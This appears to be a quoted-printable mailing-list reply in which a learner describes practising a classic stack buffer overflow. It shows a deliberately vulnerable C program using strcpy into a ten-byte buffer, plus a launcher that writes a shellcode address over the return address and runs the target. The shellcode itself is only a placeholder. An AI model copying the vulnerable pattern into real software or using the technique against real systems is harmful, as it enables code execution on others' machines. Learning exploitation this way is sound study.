Re: Re: understanding buffer overflows

thx.. this was a great example. yesterday i posted a replay with a differ=
ent email address so i think, it was not acceptet.=0D
=0D
i edited your exampleas followed(maybe it was a bit different, im now at =
work..)=0D
=0D
vuln.cpp:=0D
=0D
#include <stdio.h>=0D
#include <string.h>=0D
=0D
=0D
int foo(char *a)=0D
{=0D
char buffer[10];=0D
strcpy((char *)buffer,a);=0D
return 0;=0D
}=0D
=0D
int main(int argc, char * argv[])=0D
{=0D
foo(argv[1]);=0D
return 0;=0D
}=0D
=0D
test.cpp:=0D
=0D
#include <stdio.h>=0D
=0D
int main()=0D
{=0D
char shellcode[]=3D"Your provided shellcode";=0D
printf("Address of Shellcode:%p\n",&shellcode);=0D
char buffer[20];=0D
=0D
//to put the address of shellcode at the correct position of buffer ( i v=
e stack randmoization on   i thik so its not static) - in my case i thing=
 it was "14"=0D
//dont no the currect conversation: =0D
*(long *)&buffer[14]=3D(long *)&shellcode;=0D
=0D
execlp("./vuln", "vuln", buffer, NULL);=0D
=0D
}=0D
=0D
ant this worked fine: after execute (./test) I get a result like this:=0D
=0D
Address of shellcode: 0xbffff0c0 =0D
=0D
and gdb says too that eip points to 0xbffff0c0=0D
=0D
i think this looks good - does it?=0D
=0D
anyway, i didnt get a new instance of the shell.=0D
=0D
if think maybe the shellcode havnt worked.=0D
=0D
greets michael!